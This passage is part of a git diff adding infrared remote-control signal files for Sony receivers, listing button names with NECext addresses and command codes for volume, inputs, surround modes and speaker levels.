+protocol: NECext +address: 12 00 00 00 +command: 4A 00 00 00 +# +name: TEST_TONE +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 4A 00 00 00 +# +name: REAR_LEVEL_(+) +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 4E 00 00 00 +# +name: REAR_LEVEL_+ +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 4E 00 00 00 +# +name: SPEAKER_REAR_+ +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 4E 00 00 00 +# +name: REAR_DN +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 4F 00 00 00 +# +name: REAR_LEVEL_(-) +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 4F 00 00 00 +# +name: REAR_LEVEL_- +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 4F 00 00 00 +# +name: SPEAKER_REAR_- +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 4F 00 00 00 +# +name: CNTR_UP +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 54 00 00 00 +# +name: CENTER_LEVEL_+ +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 54 00 00 00 +# +name: CENTER_LEVEL_(+) +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 54 00 00 00 +# +name: SPEAKER_CENTER_+ +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 54 00 00 00 +# +name: CNTR_DN +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 55 00 00 00 +# +name: CENTER_LEVEL_- +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 55 00 00 00 +# +name: CENTER_LEVEL_(-) +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 55 00 00 00 +# +name: SPEAKER_CENTER_- +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 55 00 00 00 +# +name: SOUNDFIELD_GENRE +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 7C 00 00 00 +# +name: GENRE +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 7C 00 00 00 +# +name: SF:_USER/PRE +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/2,-1.ir new file mode 100644 index 000000000..e909a5d6c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/2,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 2F 00 00 00 +# +name: CURSER_ENTER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 51 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/20,-1.ir new file mode 100644 index 000000000..bd0b7bb8d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/20,-1.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 40 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 41 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 42 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 43 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 44 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 45 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 46 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 47 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 48 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 49 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 4A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 4B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 4C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 4D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 4E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 4F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 50 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 54 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 55 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 56 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 57 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/23,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/23,-1.ir new file mode 100644 index 000000000..40a31ff0e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/23,-1.ir @@ -0,0 +1,362 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 00 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 01 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 02 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 03 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 04 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 05 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 06 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 07 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 08 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 09 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 0A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 0B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 0C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 0D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 10 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 11 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 12 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 13 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 14 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 15 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 16 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 17 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 18 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 19 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 1A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 1B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 1C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 1D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 1E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 1F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 28 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 29 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 2A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 2B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 30 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 31 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 32 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 33 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 34 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 35 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 36 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 37 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 38 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 39 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 3A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 3B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 3C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 3D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 3E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 3F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 47 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 4A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 4B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 4C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 4D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 50 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 51 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 53 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 54 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 5B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/26,66.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/26,66.ir new file mode 100644 index 000000000..64b23d2ce --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/26,66.ir @@ -0,0 +1,92 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 1A 42 00 00 +command: 12 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 1A 42 00 00 +command: 13 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 1A 42 00 00 +command: 15 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: 1A 42 00 00 +command: 1E 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 1A 42 00 00 +command: 20 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 1A 42 00 00 +command: 21 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: 1A 42 00 00 +command: 22 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 1A 42 00 00 +command: 23 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 1A 42 00 00 +command: 25 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: 1A 42 00 00 +command: 42 00 00 00 +# +name: MD/DAT +type: parsed +protocol: NECext +address: 1A 42 00 00 +command: 69 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 1A 42 00 00 +command: 6A 00 00 00 +# +name: LD +type: parsed +protocol: NECext +address: 1A 42 00 00 +command: 6B 00 00 00 +# +name: CINEMA_STUDIO_A +type: parsed +protocol: NECext +address: 1A 42 00 00 +command: 7B 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 1A 42 00 00 +command: 7D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/26,73.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/26,73.ir new file mode 100644 index 000000000..d1cea9395 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/26,73.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: ENTER +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0B 00 00 00 +# +name: RETURN/EXIT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 0E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 2E 00 00 00 +# +name: D.TUNING +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 34 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 79 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7A 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7B 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 1A 49 00 00 +command: 7C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/36,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/36,-1.ir new file mode 100644 index 000000000..b93eb6da3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/36,-1.ir @@ -0,0 +1,1244 @@ +Filetype: IR signals file +Version: 1 +# +name: ARENA_SURROUND +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: AUTO_FORMAT_DECODING +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: GAME_SURROUND +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: JAZZ_CLUB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: NIGHT_THEATER +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: NORMAL_SURROUND +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: STADIUM +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: THEATER_A +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: AUTO_FORMAT_DECODE +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CENTER_LEVE_L+7_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CENTER_LEVEL_-1_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CENTER_LEVEL_-2_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CENTER_LEVEL_-3_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CENTER_LEVEL_-4_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CENTER_LEVEL_-5_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CENTER_LEVEL_-6_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CENTER_LEVEL_-7_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CENTER_LEVEL_-8_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CENTER_LEVEL_-9_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CENTER_LEVEL_-10_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CENTER_LEVEL_+1_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CENTER_LEVEL_+2_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CENTER_LEVEL_+3_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CENTER_LEVEL_+4_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CENTER_LEVEL_+5_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CENTER_LEVEL_+6_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CENTER_LEVEL_+8_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CENTER_LEVEL_+9_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CENTER_LEVEL_+10_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: CENTERL_LEVEL_0_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: D._RANGE_0.1 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: D._RANGE_0.2 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: D._RANGE_0.3 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: D._RANGE_0.4 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: D._RANGE_0.5 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: D._RANGE_0.6 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: D._RANGE_0.7 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: D._RANGE_0.8 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: D._RANGE_0.9 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: DOLBY_PROLOGIC +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: LFE_-_12_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: LFE_-_13_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: LFE_-_14_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: LFE_-_17_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: LFE_-_18_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: LFE_-_20_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: LFE_0_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: LFE_-1_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: LFE_-2_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: LFE_-3_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: LFE_-4_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: LFE_-5_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: LFE_-6_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: LFE_-7_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: LFE_-8_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: LFE_-9_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: LFE_-10_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: LFE_-11_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: LFE_-15_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: LFE_-19_DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: LFE_-16DB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: LFE_MUTING +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REAR_BALANCE_CENTER +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REAR_BALANCE_L1 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REAR_BALANCE_L2 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REAR_BALANCE_L3 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REAR_BALANCE_L4 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REAR_BALANCE_L5 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REAR_BALANCE_L6 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REAR_BALANCE_L7 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REAR_BALANCE_L8_(L) +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REAR_BALANCE_R1 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REAR_BALANCE_R2 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REAR_BALANCE_R3 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REAR_BALANCE_R4 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REAR_BALANCE_R5 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REAR_BALANCE_R6 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REAR_BALANCE_R7 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REAR_BALANCE_R8_(R) +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REVERB_TIME_2 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REVERB_TIME_3 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REVERB_TIME_4 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REVERB_TIME_5 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REVERB_TIME_6 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REVERB_TIME_7 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REVERB_TIME_8 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REVERB_TIME_10 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REVERB_TIME_11 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REVERB_TIME_12 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REVERB_TIME_13 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REVERB_TIME_14 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REVERB_TIME_15 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REVERB_TIME_16 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REVERB_TIME_17_LONG +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REVERB_TIME_9_MID +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: REVERB_TIME_1_SHORT +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SOUNDFIELD_OFF +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_EFFECT_STEP_01 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_EFFECT_STEP_02 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_EFFECT_STEP_03 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_EFFECT_STEP_04 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_EFFECT_STEP_05 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_EFFECT_STEP_06 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_EFFECT_STEP_07 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_EFFECT_STEP_08 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_EFFECT_STEP_09 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_EFFECT_STEP_10 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_EFFECT_STEP_11 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_EFFECT_STEP_12 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_EFFECT_STEP_13 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_EFFECT_STEP_14 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_EFFECT_STEP_15 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_EFFECT_STEP_16 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_EFFECT_STEP_17 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_EFFECT_STEP_18 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_EFFECT_STEP_19 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_EFFECT_STEP_20 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_EFFECT_STEP_21 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_VIRT_ENHANCED_A +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_VIRT_ENHANCED_B +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_VIRT_MULTI_DIMEN +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_VIRT_MULTI_REAR +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_VIRT_SEMI_THEATA +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_VIRT_SEMI_THEATB +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_VIRT_SEMI_THEATC +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_VIRTSEMI_MULDIM +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_WALL_SOFT-HARD01 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_WALL_SOFT-HARD02 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_WALL_SOFT-HARD03 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_WALL_SOFT-HARD04 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_WALL_SOFT-HARD05 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_WALL_SOFT-HARD06 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_WALL_SOFT-HARD07 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_WALL_SOFT-HARD08 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_WALL_SOFT-HARD09 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_WALL_SOFT-HARD10 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_WALL_SOFT-HARD11 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_WALL_SOFT-HARD12 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_WALL_SOFT-HARD13 +type: parsed +protocol: NECext +address: 24 00 00 00 +command: 60 00 00 00 +# +name: SUR_WALL_SOFT-HARD14 +type: parsed +protocol: NECext +address: 24 00 